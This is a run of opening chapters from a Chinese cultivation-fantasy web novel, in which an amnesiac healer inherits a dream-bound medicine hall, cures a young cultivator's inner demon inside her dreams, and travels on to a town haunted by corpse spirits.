《又梦见修真界的早死白月光》 1. 此间归梦 《又梦见修真界的早死白月光》全本免费阅读 峡坼水急,飘风击云,骤雨滂霈压着鸿京仙盟每一宫黑瓦朱楹。灯影明半灭,檐下人来人往,行色仓皇。 在飞湍峭拔处一方阆苑里,诸多卷宗书册罗列陈放,有当值修士穿梭其间,似有所寻。 “抱歉,这位……名唤祈清和的道友。”当值修士面露难色,“仙盟文库显示,四海十洲境内,确实并无任何有关你的档案记载。” 祈清和候在书案前,眉梢轻蹙,听着云窗外滂沱雨声,愁绪般涌,最终长长一叹。 自己醒来那日,也是黑云染穹,振雷声声,除了名字,没有任何过往记忆。 在走出狼藉焦土后,她手持串铃游医四方,一路维持生计一路寻找自己过去,就这样走了一年多,来到鸿京,来到这仙家势力最盘根错节的仙盟。 可惜天不从人愿,她仍不知自己是谁。 “道友莫慌。”当值修士大大咧咧安慰道,同时在诸多精妙复杂机关上操作着,“我给道友补录一份档案,这样行走四海十洲,也不会被人当成黑户……咦?” 当值修士神色讶异,不知不觉停下了忙碌的双手,愣愣道。 “祈道友,地产卷宗显示,您有一份未取的房契。” 这回轮到祈清和惊诧了,她眨眨眼问道:“我的?” 许是忙碌半晌的疑难初露端倪,当值修士激动不已,即刻以灵镜联系同僚,絮絮叨叨询问诸多细节,而后又一一向祈清和转达。 “是,这份房契寄存仙盟近百年,我已请同僚将房契送来,不过今日正逢拘押沈家女回盟,官道被封,同僚会耽搁好一阵,得劳烦祈道友等候片刻了。” 有关自己过往终于不再茫无头绪,思及此,祈清和心间阴霾稍稍散去几分,更不在意多等一时半刻。 当值道友斟了茶请她坐下休憩,祈清和捧着温热茶盏,好奇起让仙盟同僚耽搁的原因。 “拘押沈家女是怎么一桩事?” 今日雷雨电雹,偏僻阆苑再无第三人来访,当值修士便也偷闲小憩,清茶言话起来。 “沈家女沈北歌,原本是燕泽沈氏捧在掌上的千金明珠,却私藏沈家至宝,最后被废去一身修为。” “若事已至此倒也罢了,毕竟沈家家事。”当值修士讲话顿挫,颇有几分说书的天赋,“可坏就坏在,执行家法那日,沈北歌叛出师门,竟走火入魔!” “这下,仙盟不得不出手干涉,依律缉拿沈北歌,故今日要道皆封,众人惶惶,生怕魔修出逃伤及他人。” 听到这,祈清和了然,仙盟对入魔修士向来有两种处理方式——丧失神智者,启消魂阵引天雷诛灭;若神智仍存,便引渡炎洲,归于魔教。 当值修士侃侃而谈之际,窗外云边万钧金蛇一闪,劈下一道雷,他茶盏边的灵镜倏然震动,随即流光大亮,同僚歇斯底里的哭腔破音从中传来。 “那个沈家女出逃杀出来了,就在千仞崖,救命啊啊啊——” 祈清和与修士皆是神色骤变。 二人出了门往千仞崖赶去,祈清和自苏醒后经脉断了大半,修为无几,倾天暴雨砸在身上,凉的刺骨,千仞崖索桥在风雨冲刷中摇摇欲坠,远远的,兵刃碰撞打斗声随风而来。 一片血腥气中混着一丝魔气。 索桥中央立着位红衣少女,手持双剑墨发随风,身法轻盈灵动,与诸多灰衣蓝袍仙盟弟子厮杀纠缠,寸步不退。 茫茫人影中,有一瘦小修士,半跪在桥上,拼命朝着另一端祈清和二人挥手。 他委实倒霉,来送房契,盟内多处官道被封,不得不走小路,结果撞上出逃至此的沈家女及盟内追兵。 瘦小修士抱着木盒瑟缩在刀光剑影里,进退不得。倏忽间,一道凌厉雄厚罡风扫至,小修士措手不及,一个趔趄,竟连人带盒翻下桥,直坠悬崖。 “啊啊啊三清在上我下辈子一定好好修炼——” 来不及多想,祈清和调转内力闪转腾挪,纵身轻跃,踏着崖间碎石,稳稳抓住了瘦小修士的衣袍后领,翻身于空一转,凌风而上。 当值修士半趴在崖边,只来得及瞧见一道木叶青影乘扶摇而来,飘渺出尘。 可他还没能惊呼,就见那桥上刀剑相搏灵力撞击,又一道挟着魔气的罡风煞气恰巧袭向祈清和。 祈清和闻风而动,足尖轻点雨中落叶借力转向,那罡风将将拂面擦过,割下她几缕青丝。 瘦小修士却一个不稳,怀中木盒被罡风余力扫落,随着急风骤雨一道跌下。 他惊慌喊道:“房契——” 祈清和心道不好,指尖掐诀耗尽灵力将小修士往上一送,同时自己反身再度跃进崖间,追向木盒。 “祈道友!” 当值修士拉起自己同僚,只见千仞绝壁间,祈清和宛若折翼青鸟,随着决河倾雨直直坠落。 这一惊呼,酣战的红衣少女似乎分了神,愣了一瞬后,竟毫不犹豫地收了双剑,再不顾四下袭击,从索桥上一跃而下,向那坠崖青衣而去。 在场诸人皆慌乱起来,甚至有人当即施法,想救下坠崖二人,可还未等他们有所动作,只见崖间忽有白光温柔一闪,浮光掠影,青衣红衣,顷刻消失。 人……去哪了? 整个仙盟皆有盟主布下的禁移大阵,传送相关的阵法符箓一概失效,无人例外,更遑论这众目睽睽下,二人不声不响转瞬不见。 “快——快通知盟主!沈家女绑了人质逃掉了!” 祈清和不知桥上骚乱,乘风疾下,于崖间接住木盒。正当她思索着是重新轻功折返崖上,还是干脆直入崖底,另寻出路时,眼前忽然出现一袭红衣。 燕泽沈氏,沈北歌。 祈清和这才注意到,并非沈北歌身着红衣,而是她原本粉衣罗裙,皆被鲜血染红。 “你……” 正想开口问询,四周忽然泛起白光,仿佛溪流轻轻一卷,流云般淹没二人,一纸房契从木盒中挣脱出来,随即化进祈清和身体,她无意间一瞥,只见那买者户主处,正填着她自己的名字。 意识被白光柔和包裹,逐渐陷入朦胧。 「神识认证通过,入梦权限已开启,正在进入沈北歌梦境。」 「房灵小梦为您服务,已触发新手引导:梦中探寻沈北歌入魔原因。」 「任务奖励:心魔可视化。」 什么? 祈清和猝不及防。 天地变幻。 最先感知到,是渗进骨缝里的寒意。 “沈北歌,你忤逆犯上,私藏沈家至宝,现废去身上修为,永囚戒过崖。” 瓢泼雨声混着严苛冷峻的斥喝传进耳畔,听不明切,呼吸间是血腥气,疼痛滞重如刀爬上身体,祈清和神思混沌,勉强睁开眼。 在雨血交汇的一弯冰凉里,她看见了不属于自己的影子。 血染桃衣,乌发凌乱。 她竟在这梦中成了那犯下大错,叛出沈家的沈北歌。 骤雨不息,祈清和抬起眸,目光轻扫四周,发现她正跪于一座巍峨广袤的剑台之上,数道穿骨灵锁加诸于己身,早已不是方才崖间绝壁。 祈清和慢慢明白过来,她眼下所在,极可能是瀛洲燕泽。 这是……沈北歌入魔那日? “沈北歌,你还不认罪吗?” 倏尔,一柄化功短刃楔进了她的右肩经脉,快速狠绝,寒凉如冰。祈清和听见骨缝间喀嚓一声轻响,鲜血蜿蜒,冷汗顺着雨水淌落,疼痛似乎刻进呼吸里。 她想调转灵力缓解痛楚,却发现这具身体已是道骨俱毁,气若游丝。 思绪回笼,祈清和抬头望去,只见诸多大略是沈家长老的人物端居高台,漠然俯视于她。 又一支短刃钉进来,比第一支更深更狠,左肩二脉断裂,祈清和闷哼一声,撑着一线清明,面色苍白。 她思忖了片刻,一字一句试探道:“我认罪与否……有何意义?” 这话似乎激怒了某位长老,他厉声斥道:“沈北歌,你原本一介旁支,不过天赋绝伦才得家主青眼垂怜,沈家悉心照顾你三百余年,休要不知好歹!” 天赋绝伦? 2. 长生解毒 《又梦见修真界的早死白月光》全本免费阅读 再睁眼时,祈清和发现自己正站在一方雾海缭绕的宅邸小院里。 院中云阶月地,一弯陂塘水满尽收天光,神树侵云,灵花掩映,一阵清风穿堂,漫天白色花瓣如春雪纷扬,历历白榆。 温和安宁的仿佛岁月静止。 在沈北歌身体中经历的疼痛与不适逐渐消散,祈清和微微眯眼,适应了一会儿光线。 「祈堂主好,我是归梦药堂的房灵小梦!负责帮助您坐堂问诊,渡化心魔,积攒功德然后做大做强!」 小小房灵的声音很轻快,兴致勃勃。 祈清和垂眸抿唇,她对为何拥有这样一张房契毫无印象,对经营一间药堂也并无兴趣,让她感到好奇的,是为何这间药堂坐落在一处梦境里。 梦境,通常映的是修士的道心。 过去,现在,未来。 于他人梦境来去自如,对修士来说,这能力太过罕见且要命了。 顿了顿,唇畔浮现出一抹似有若无的笑意来,若她现在就抛弃这个地方当个甩手掌柜呢? 「别啊堂主呜呜!小梦才第一次见到你!」 似乎是察觉到了她的心声,房灵再按耐不住,带着惊恐哭腔哀声道。 「我能为您提供有关记忆的线索!您别走!」 祈清和眸光一抬,果然,房灵的心思都较为单纯,一探就露了怯。 她笑道:“说来听听?” 「我的资料库中存着诸多被封存的玉简文书,大略是手札日记……」 声音越来越低,底气不足似的,祈清和凝神静听,一路探寻此地线索,行过清塘玉桥,层层云阶花树半掩下,有一间青砖黛瓦,隐隐透着清苦草木气息的药堂。 「我并无玉简查看权限,需要堂主您完成问诊任务积攒功德才能开启。」 这就是所谓有关记忆的线索? 里面记着什么?她的过去? “怎么个问诊法?”祈清和不紧不慢地询问,心念百转。 「凡心有执念误入歧途者,皆可能于梦中来此地,堂主可入梦探查不同患者过往经历,找出根源所在,弥补遗憾、实现心愿,或让患者彻底忘却,便能渡化心魔。」 祈清和站定了,目光一扫,扬眉道:“他也是吗?” 「什么?」 顺着祈清和的目光望向去,只见满庭落花树下的云阶前,抱膝坐着位乌发白衣,腰系竹笛的清俊男子。 「他是此间梦堂的管业人,负责引导您来往不同梦境。」 听见脚步声,青年仰起头望向她。 那是一双澄澈剔透似琉璃的眸子。 墨发柔软随风徐徐轻动,细碎天光洒落下来,勾勒出精致淡漠的轮廓,山辉蕴玉,美丽到近乎带着几分神性,仿佛星河落了人间。 祈清和蹙眉,迟疑了一会儿,低声道:“你叫什么名字?为何坐在此处?” 白衣青年神色一动,眸光潋滟流转,漂亮的,水墨画一般黑白分明的眼睛干净纯粹。 “应知离。” 应知离抬起眸子,看见她目光里深深的戒备,眸光暗下去,像只流浪小猫儿。 “你没来,我进不去。” 说得理直气壮,又含着委屈。 站得近了,祈清和才留意到,应知离白皙的面容上沾了尘土,衣衫破损,皓腕布着紫黑淤青,额间也有多处擦伤。 她哑然,神色却平静,半蹲下来,从芥子囊中取出化淤止疼伤药,用水化开,棉布一圈一绕,敷紧伤口。 应知离目光缄默了一会儿,又轻轻挪开,掠向一地落花,好半晌,才回眸,却见祈清和已经处理好了伤口,起身拾阶而上。 她抬手轻轻一碰,天光如浪推开堂门,照亮了一小片影子。 院中花枝自云窗探进屋内,青竹屏风间,栗色的博古架林立,诸多丹罐陈放,清苦药香袅袅,宁静平和,纤尘未染。 她一步一步走进去,像走进了时光凝固的旧年记忆。 书案上摊着空白的脉案诊籍,药材分门别类放着,一侧木施上挂着一顶白色云纱幕篱,祈清和指尖拂过桌案,轻轻地一点一点,从中随意捡出了一根有几分特别的含苞花枝。 细细木枝上缭绕着几不可察的绿色纹路,枝上生着一朵未绽的浅紫花苞,散发着淡淡清香,宛如沉眠于寒冬。 她看不出这间药堂营业过的痕迹,仿佛它沉睡了多年,只是如今,才将将苏醒了似的。 一阵敲门声打破了此间寂静。 “有人吗……” 古朴典雅的雕花院门闻声自开,祈清和来不及回避,只能取过那顶白色幕篱戴好,暗中打量着这位梦中不速之客。 来人合该是位美人桃花面的娇俏姑娘,额间却凝着挥之不去的魔气,宛如一小簇黑色火焰。 正是她此前不慎入梦的梦境主人,沈北歌。 「检测到心魔患者,已触发诊疗任务:渡化沈北歌心魔。」 「任务奖励:玉简三十七号。」 祈清和愣了一瞬,轻轻蹙眉,陷入思忖。 惴惴不安的声音再度传来。 “……这是哪儿啊?” 沈北歌不确定自己是否仍在梦中。 她跃下千仞崖间时被一阵白光裹挟,陷入漫漫长梦,好像回到自己入魔那天,痛苦、绝望、以及濒临死亡的恐惧滔天而来,她浑身颤抖,无能为力。 再醒时,就到了一方清雅出尘的院落前。 没有门匾,沈北歌不知这是何处,但她曾听闻有大能者,常以天灵地宝为引,构建洞天。 沈北歌环顾四周,暗自惊叹,院中诸多神树灵植,她仅能认出少部分,哪怕一鳞半爪,放到任意一处拍卖堂,都会引起四海十洲惊涛骇浪的争抢。 而一直萦绕在她心间,躁动的,蛊惑的魔气也被无端压住了几分。 她来到院中云阶前,闻见药香。 沈北歌愣愣抬起眸。 半掩堂门前,有位戴着白色幕篱的女子,青楸竹叶纹道袍无炁轻动,明明站在融融天光下,却像经年的泠月,清冷决绝,洇没在无悲无喜岁月里。 “此间,归梦。” 青衫女子声音飘渺清凌,叩金击玉。 明明素不相识,明明看不清她的容颜,沈北歌却无知无觉间,落了一滴泪。 祈清和站在云阶上,眉心低蹙,她看见沈北歌一身血迹斑驳,丝丝缕缕恶意诡谲的魔气正缓缓蔓延,几乎逼近灵台。 她阖上眸,无言静了一会儿,微微一叹。 “随我来。” 沈北歌微怔,想说什么,终是没有再开口。 应知离不知何时来到了药柜前,微微垂眸,替她准备了干净的纱布与银针。 祈清和接过纱布、药粉,袖刀轻轻划开沈北歌伤处衣衫,伤口被血沾黏,惨不忍睹。她利落地处理小姑娘一身的狼狈,止血清创,同时以温 3. 永乐塑骨 《又梦见修真界的早死白月光》全本免费阅读 原来梦也是有颜色的。 走在虚无梦里时,祈清和才留意到这其间细微差别。 每场藏着记忆的梦都像一团云,蓬松柔软,应知离覆手随意操控梦境,手心幻化出一小簇茸茸的,灼目纯净的光芒,棉线般一线一息牵连梦境,行走生风,云彩轻盈如浪层层绽开。 有些梦宏大,耀眼夺目金光绚烂,有些梦渺小,干瘪凋零风尘仆仆。应知离说,颜色愈深愈黑,就意味着一段不好的过去,是苦涩的梦。 祈清和与应知离一路行走,零零散散看尽沈北歌在燕泽生活的这许多年。 在一团粉嫩活泼的云彩里,她看见燕泽沈家遍山而开的灼灼桃花。 年仅十岁左右的沈北歌身着桃夭罗裙,挽着垂鬟分肖髻,杏眼秋水盈盈,乖巧跪于花树下。 沈家家主笑得和蔼,慈爱道:“北歌,你大病初愈,从今以后就在我座下修习。” 娇小的沈北歌歪了歪脑袋,问道:“我姐姐呢?” 沈家家主眸色微变:“你姐姐救下你后,去了很远的地方修炼,所以你也要好好修习,才能见她。” 祈清和眉宇清冷,慢慢走过承载着记忆的长梦,平静旁观着沈北歌明媚自在的修道人生。 沈家确实待沈北歌极好,指点剑术、仙草养身,同门大师兄数年来对她无微不至,亲切呵护,沈北歌三百余年没有出过山,无忧无虑。 她甚至以为自己与师兄两情相悦。 漂亮娇俏的粉色云彩羞怯地躲了一下,染上一抹浅绯的光晕,又飘远了。 祈清和眨了眨眼,思忖须臾,问道:“我能看看沈北歌失去并蒂花的那天么?” 应知离指尖光芒一现,等了片刻,却是寂静一片。 层层团云簇拥着聚在他们二人脚下,左顾右盼,好奇又自觉地分出一条路,可是,什么也没等来。 应知离轻轻叹气,手心里如线的光又明亮了几分。 这一次,他牵来一朵狼狈如霜打,漆黑如墨的梦,梦又瘦小又稀薄,飘得慢,仿佛风一吹,轻而易举便会消散。 这是沈北歌金丹化形那天。 日隐云湿,幕天大雨疏疏而落。 倒在血泊中的沈北歌奄奄一息,神色惨白,泪落如雨。 沈家主微笑着,亲手震断了沈北歌一身道骨,从她身体中,化出一朵流转金光,浮现点点灵光,碧叶间白色花瓣小小绽开的神花来。 “北歌,多谢你身养这枝并蒂长生花多年,只是可惜,永乐花不见踪影。” 祈清和步履停住。 蓦地,似乎是想起了什么,她惊了一瞬,心中掀起波澜骇浪。 在药堂里,有一枝她无意间拾起查看的,印着绿色纹路的枯木,那枯枝上的花苞,模样与梦里这朵,一般无二。 原来那竟是并蒂永乐花。 可是……怎么会出现在她的药堂里? 沈家主啧啧惋惜道:“明明是你亲姐姐,怎么舍得只拿出一朵。” 沈北歌唇畔溢血,哀声恳求道:“你把……它,还我。” 一行血泪淌下。 祈清和终于明白这荒唐故事的一角。 沈北歌的姐姐当年为治妹妹顽疾取到并蒂双生花,用了其中名唤“长生”的一朵救她,而后消失不见,沈家以修炼为由软禁沈北歌,希望引她姐姐出现交出永乐花。 一百余年过去,沈家最终放弃等待剜出长生花据为己有,并以“私藏沈家至宝”罪名封口。 什么亲厚柔情,一概皆是错觉。 倏尔,祈清和笑了。 她似乎知道怎样化解沈北歌的心魔了。 连阴雨声淅淅沥沥,祈清和一步一步踏入染了血腥气的,云一样的梦里,弯腰拾起属于沈北歌的,被打落在地,浸在血水里的长剑。 “站起来。” 她将长剑亲手递到沈北歌的面前,声音平静,如潺潺流水。 “没人值得你赔上一生。” 如若这里是现实,沈北歌重伤至此绝无可能有还手之力,但这里是梦境,是属于沈北歌的梦,有些现实中没做到的事,或许在梦里,有转圜的余地。 一身的伤疼得厉害,沈北歌愣愣地循着剑身回望,神思恍惚,耳畔似乎回响起了一道飘渺的声音。 你姐姐留给你的东西,除了你自己,没人能拿得回来。 沈北歌握住剑柄,咬了咬牙。 “铮——” 锋利冰冷剑刃毫不犹豫地刺进沈家主身体,沈家主神色震惊地看着那位不知何时出现戴着白纱幕篱的青衫女子,瞳孔扩张,而后含混不清地骂了什么,最终化为一缕灰烟,转瞬溢散消失。 沈北歌手腕脱力,长剑跌落,倒回血泊里。 真是疯了,她自嘲。 天地失色,心魔再显,黑色流火坠入云海,巨大的压迫让沈北歌抬不起头,她身体栽倒,几欲昏厥,额间魔纹隐约浮现,意识近乎濒临破碎。 黑雾状的魔气再度弥漫,咆哮席卷,向着祈清和袭去,它是人心中最强烈愤恨的不甘所化,不可一世想要吞噬所有。 祈清和拾起沈北歌本命剑,一剑划破自己掌心,强行以血短暂构筑起自己与这柄长剑的联系,而后反手控制剑意,袭向心魔本体,劈刺点撩扫接近烂熟,身体的本能快于思考。 也是在这一年行医遇上二三麻烦事时,她竟意外发现,自己剑术不错。 凌厉的剑意宛如清风。 祈清和翻手挽剑,四周风声倏忽四起,猎猎作响,风息顺着剑意像水一样汇聚,山川降灵。 剑意割穿黑暗,浑浊魔气发出灼烧般的噼啪爆裂声,黑色雾气如潮汐般丝丝缕缕退却。 心魔被她几息之间困于囹圄剑阵中,颓然不动。 「检测到心魔已无破坏性,是否使用执念修复道具?」 祈清和挑眉一笑,还有道具呢? 「是……是的,就是药堂中出现的所有东西!祈堂主想用什么都可以!」 祈清和怔了一瞬,抿唇,笑得柔和。 那,请帮我取来一枝花木。 静寂须臾,祈清和缓缓走到沈北歌身边,半跪下来,冰冷沉红的血水洇了衣摆,她将小姑娘扶起来,拢在怀中,如把脉那样,拂平沈北歌疼得蜷起的手,往掌心放了一样东西。 沈北歌轻嗅到眼前人身上一缕极淡清苦的药草香,恢复了几分清醒。 她略低头,只见掌心,一枝永乐沉眠。 沈北歌惊愕地睁大了双眼,不自主颤抖着,连疼都顾不上了。 恐惧绝望全部被一丝希冀覆盖,拽回所有神志,她竭尽全力紧紧握着眼前女子的手,深怕一个眨眼,她消失不见。 “这,这是……”声音嘶哑,语无伦次。 这正是沈家苦苦追寻的另外一朵,本应在姐姐手中的并蒂花。 青衫女子与她仅隔着一方轻纱幕篱,却仿佛一泓化不开的朦胧月色,飘渺遥远。 沈北歌从始至终想要的都是姐姐的消息。 祈清和想了想,信口讲了一个小小的善意谎言。 “你姐姐,托我将这个转交给你。” 长生医百毒,永乐塑道骨。 虽不知为何并蒂永乐花会在药堂,但能重新治疗沈北歌身伤心伤的,眼下也只有这个了。 沈北歌垂头,泪眼潸然。 永乐花在被放在沈北歌掌心的一刹,就亮起蓬勃金光,刚开始只是微弱的一小缕,而后轻轻颤动,花苞绽放,盛大汹涌的光芒一股脑儿扑向沈北歌,争先恐后涌入她的经脉。 万缘澄寂,三际 4. 沧海桑田 《又梦见修真界的早死白月光》全本免费阅读 “等过了这入泽湾!我看你们还怎么追我!诶诶诶我船楫呢?” 两壁夹峙,风疾波峻,乌篷小船被深谷急湍打得一个不稳,沸浪一透,摇摇欲坠几欲倾覆,沈北歌手中船楫险些被浪掀飞,祈清和眼疾手快,一把捞过船楫,勉强维持船身平稳。 应知离从乌篷顶上轻盈跃下,开口道:“已经甩开仙盟执法了,距辛夷坞大略还有三十里,以目前行速,还需小半个时辰。” 夜色阴森,水黑如墨,祈清和浅浅应了一声,坐回乌篷内,将船楫重新交给沈北歌,沈北歌赧然,一个拍浪,小船乘怒涛而行,没入蜃气间。 “船的质量真好。”沈北歌试图僵硬转移话题。 能不好吗?苍天,这可是以三人份高昂偷渡费换的! 祈清和无奈长叹,心生惆怅。 这次来到仙盟,办理了个人档案,她才正式摆脱黑户身份,本以为自己可以自由行走于四海十洲。 然而,天再不从人愿。 沈家掌管整个瀛洲户贴的编审核查,为了寻找身份线索,她不得不捎上两个人,一位仙盟通缉犯,另一位是黑户。 自己这个“失忆患者”反而是三人中唯一的合法修士。 这意味着,如果想去瀛洲,得偷渡。 偷渡不是难事,她对此颇有心得,毕竟就是靠偷渡她才来的鸿京。 重点是通缉犯和黑户这两人身无分文! 祈清和看着自己所剩无几的账面余额,愁云惨淡。 “或许……”应知离终于看出祈清和在郁闷何事,沉吟了一会儿开口道,“下次我们可以等至无人时,悄悄躲到踏云楼船上,这样便能直抵瀛洲。” 踏云楼船,四海十洲最为普及的大型通达方式。 沈北歌惊恐,目瞪口呆。 祈清和愣了好一会儿,才从凌乱中组织好语言,语重心长规劝道。 “你这种行为,叫逃票。” “会和沈北歌一样上通缉名单的。” 应知离眨眨眼,恍然大悟,不动声色地挪了一小步,离沈北歌更远了一分。 这下沈北歌更惊恐了。 原本尴尬的气氛愈发冷下去,祈清和终于决定将注意力从偷渡费上移开,随意道。 “辛夷坞是什么地方?” 这条偷渡路线,是沈北歌拍案的,她说小时候不知听谁提起过,走入泽湾,由辛夷坞抵达瀛洲,最为隐蔽。 水道渐阔,湍流平稳下来,船灯微弱地亮着长明光,沈北歌坐于船头,认真回忆:“瀛洲北域,千家对水,辛夷坞是其中最为繁华的水陆要冲之地,傍水临山,以无患塔镇妖驱邪,毗邻燕泽。” 顿了顿,沈北歌又问:“祈姐姐,你知道‘四家百道府’吗?” 祈清和想了片刻,点头道:“略有耳闻,是指十洲境内曾经最具影响力的沈裴谢苏四大世家。” 沈北歌来了兴致,尽职尽责道:“这四大世家以姻亲为系,利益往来根深蒂固。而辛夷坞,则属裴家势力,现在掌家的裴老太君,原是沈家长老,按辈分……我应该唤她太师母。” 祈清和含笑望了她一眼:“看来裴老太君和你关系不错?” 沈北歌摸摸脸,不好意思道:“小时候承蒙她养育,我们只需见到裴老太君,申请一份通行手令,便能以外姓弟子的名义轻易进入燕泽沈府山庄。” 乌篷船走得是险道,又是夜行,应知离接过了行船的职责,就在寒露愈重,冷得几乎打寒噤之际,他温然的嗓音轻轻打断了两个女孩子的谈话。 “到了。” 祈清和探身出乌篷,抬头望去,天莽苍其一色,沕沕穆穆,浑浊蜃气笼罩着时隐时现的绯色泊旗,不见一丝灯火,万动无声。 太……安静了。 她心中咯噔一声。 乌篷小船在一丛林堤岸边稳稳停下,顺着小路一路走向关口,夜色阴郁,只见本应往来熙攘十里横舟的码头却颓垣萧条,无人问津。 料峭寒风一拂,幽咽如哭。 “沈北歌,告诉我。”祈清和深呼一口气,问道,“你对辛夷坞的了解来自何时?” 沈北歌显然也震撼无比,她磕绊一下,结结巴巴道:“大……大概三百多年前。” 祈清和沉默。 科普的非常好,建议下次别科普了。 沧海都桑田了。 入关异常顺利,因为压根没人守关,伪造好的通关文书完全派不上用场,城门布告处张贴着一纸破破烂烂的悬赏,古旧泛黄的布告随风掀起灰尘,祈清和擦了火折,举着一小簇明亮探看,神色一愣。 【诏四海能降尸魅者,赏天昭铢钱三十万。】 沈北歌满腔困惑:“尸魅?那是什么?” 祈清和想了想,施了个祛尘诀,抬手扯下悬赏,折好收起,解释道:“那是阴阳之气翕合所致的一种邪秽,能借新死之体祸人。” 沈北歌顿生畏惧,紧紧挨住祈清和,抓着一小片衣角,微微发抖。 她语无伦次,悄声道:“要要要不然我们撤吧,换条路?” 祈清和将手中火折子交到沈北歌手里,回望了一眼灰蒙厚重的雾气,叹气道:“来不及了,而且,我们不是还要找裴老太君拿通行手令?” 沈北歌心中尖叫按照眼下状况裴老太君大概凶多吉少啊!她忽然有点怀念一路执法追兵,三清在上,仙盟不管管这儿的吗! 三人便这样入了城,应知离走在最前方开路,他抬眸远望,空旷无人的宽道窄巷塞草早衰,茶肆商铺紧闭店门,破败多年,枯树叶落,蔌蔌风威裹挟着棱棱霜气,没入死寂,了无生机。 雾气愈发浓厚,浓稠压抑,甚至隐隐呈现出血色。 嘎吱嘎吱。 须臾,他听见哭声。 惨烈凄厉,男女老少呜呜咽咽,哀嚎不止。 应知离脚步没停,开口叮嘱,声音又轻又快,低低掠过。 “别说话,也别回头。” 满街大雾弥漫,彻底剥夺所有视野,只剩重重灰影。 祈清和也察觉了周遭异常,身侧被攥着的衣袖更紧了一分,她干脆主动牵住沈北歌,小姑娘手心滚烫,微微渗汗,是在害怕。 因这一分神,脚步就慢了,与此同时,祈清和感到自己另一只手被一阵温暖宽厚轻轻拢住,骨节分明的纸腹悄悄小心翼翼覆上她指尖,措不及防带起一息酥痒,却又坦然。 他们沿着长街,走得漫长。 祈清和指尖微动,轻轻地,在他掌心写下一字一句。 【尸魅?】 修长的手指顿了一瞬,在她手腕轻点两下,作为回应。 太安静了,连风声都消弭了。 “七姐姐?” 祈清和听见一声莫名其妙地呼唤。 这声音是在喊谁? “七大夫,呜呜我又受伤了,能不能帮帮我。” 她微微战栗,血液冰凉,抑制不住地想回头,可她根本不知道对方是在叫谁,“小七”还是“小祈”?是在喊她吗?这些尸魅认识她?她以前住在瀛洲,是这儿吗? 神志微微混沌,她强迫自己不听不想,谁是小七!喊错人了! “小七!快逃!离开这里!” 耳畔小七小七的叫嚷依旧没停,枯燥单一的音节让她犯 5. 苍灵东君 《又梦见修真界的早死白月光》全本免费阅读 裴老太君试图挣脱未果,目光在祈清和与沈北歌身上停伫少顷,紧绷的身体松了松,无奈妥协。 “你们随我来。” 他们走进七拐八绕的小巷,幽长弯曲如迷宫崎岖,一树枯死望春下坐落着个矮胖泥糊的老式古房,一桌一床一神龛,简陋贫寒,神龛用精致的黄梨木修葺,供着一座温润慈悲的白玉琼像。 老妪进了屋,先是仔细将白玉琼像认真擦拭,又细细拂去尘埃,而后恭敬且虔诚地,拜了拜。 “大夫的诊金要收多少?”她跪在蒲团上,背对着祈清和,自然看不见她眼下敛起的,深了几分的目光。 “三十万天昭铢钱。”祈清和云淡风轻地报出了一个远超诊费的天价数字。 沈北歌震撼地睁大了眼睛,您这是明目张胆地入室抢劫,在违律边缘跃跃欲试。 “有话不妨直说,索性老身的命都是大夫救下的,何苦为难我一个将死之人。”老妪倒是沧桑地笑了一声,终于回身,只见祈清和扯了把干净的长条凳随意坐下,虚倚着桌沿,从容地微笑。 昏昏月光漏进来,映出她一身的疏朗明亮。 “三个问题。”祈清和敛了神色,问道,“第一,裴家与城中尸魅有何关联?” 从悬赏布告褪色的程度大致能推断,城内尸魅之乱,大致已持续几十余年。 裴老太君神色微变,斟酌了几番用词,直白不讳道:“报应分明。” 祈清和轻轻抬眼,指尖微微摩挲了一下袖衫,又问:“第二,仙盟对此做何处理?” 尸魅处理并非千古难题,只需寻到尸魅本体烧掉便可化解,理论上辛夷坞不应沦落到如今这般田地。 “早年间,仙盟派人来过几遭。”裴老太君目光黯然,“但是皆无能为力,连医修都没辙,他们说,此地尸魅与他处不同,无形、无声、无相……后来,就变成这样了。” 虚无缥缈之物,何谈化解。 祈清和阖眸,沉默须臾,又睁开眼,没再询问,而是提出了一个要求。 “我需要能进沈家的通行手令。” 听得这话,裴老太君泄了气般颓然,惨笑道:“抱歉,我被裴家追杀已久,无力实现你的请求。或许,明日你可去往城北无患塔,那儿是裴家旧邸之一。” “若不嫌,你们可在老身这陋室过夜休憩,尸魅不会进来。” 夜风回荡,摧枯拉朽,无止无休的呜咽声在城内回荡,拍打窗棂。 祈清和眸光抬起,凝视着房间里,那突兀的神龛上,问道:“是因为白玉像吗?” 裴老太君目光落回那塑神像上,记忆似乎也一并回到了那久远的传说里,浑浊的眼睛里亮起了一丝光,连声音都柔下来几分。 “是,一开始尸魅食人,城中人无不惶恐惧怕,后来,有人渐渐发现,尸魅不敢靠近神像。” 她声音顿了顿,舒缓一笑。 “尤其是……苍灵东君的神像。” 祈清和缓缓走至白玉像前,微微仰头,与神龛中的白玉像对视。 白玉像静静伫立,素衣敛眸,如一轮温和清亮的皎皎明月,平和慈悲。 四海游医时,她听闻过苍灵上仙。 苍灵上仙是民间故事里最为惊鸿一瞥的传奇,曾以一花借月问道,一剑夜雨封煞,世人误以为望舒落凡,皆恭敬唤她一声“东君”。 月落一回眸,清冷几千春。 只可惜,早早殒落,魂归于天。 人们相信,上仙虽肉身已散,但神魂仍庇佑人间。 所以四海十洲,信仰苍灵东君的凡人修士,皆不在少数。 狭窄的房间安静下来,沈北歌方才一直不吭声,现在怯怯地靠近裴老太君,同她小声细语交谈起来。祈清和没再多言,走进内室休息,朦胧间,她隐约听到裴老太君愧疚的歉意。 “当年……是我抱歉。” 意识坠入虚无,落回梦中,小梦的声音在耳畔欢快响起。 「堂主你回来啦!」 祈清和睁开眼,发现自己坐在此间归梦的落花神树下,一切宁静安详,她抬起头,只见花枝间,系着一条浅粉色,长长的缯绢,随风摇曳,自由灵动。 “这是什么?”她问。 「沈北歌心魔消弭后,她心中的感激,化作了小小长幡。」 清风悠然,轻柔和缓穿过梦里,花枝长幡后,应知离正坐在云阶上,如云墨发随炁而动,他低眸,专心的,用刻刀雕着什么。 “尸魅之事,你有什么头绪吗?”祈清和精神此前一直高度紧绷着,现在终于得以放松,她干脆半躺在树下,放任自己浸在清新的药香里。 应知离停了手中的动作,微微歪头,目光望向她,含着好奇。 “你能听见吗?” 祈清和疑惑:“什么?” “哭声。” 祈清和半怔,想了想,又摇头:“我只听见风声。” 她看见应知离眉心轻蹙,抿唇不语,半晌,他抬起眼睛,一泓眸光清冽,起身走过来,又半跪下与她平视。 应知离抬起手,刻刀轻而快地划破他指尖,渗出一滴血,祈清和愣了,只见那血转瞬化作一道浅色光芒,落进她的眉间。 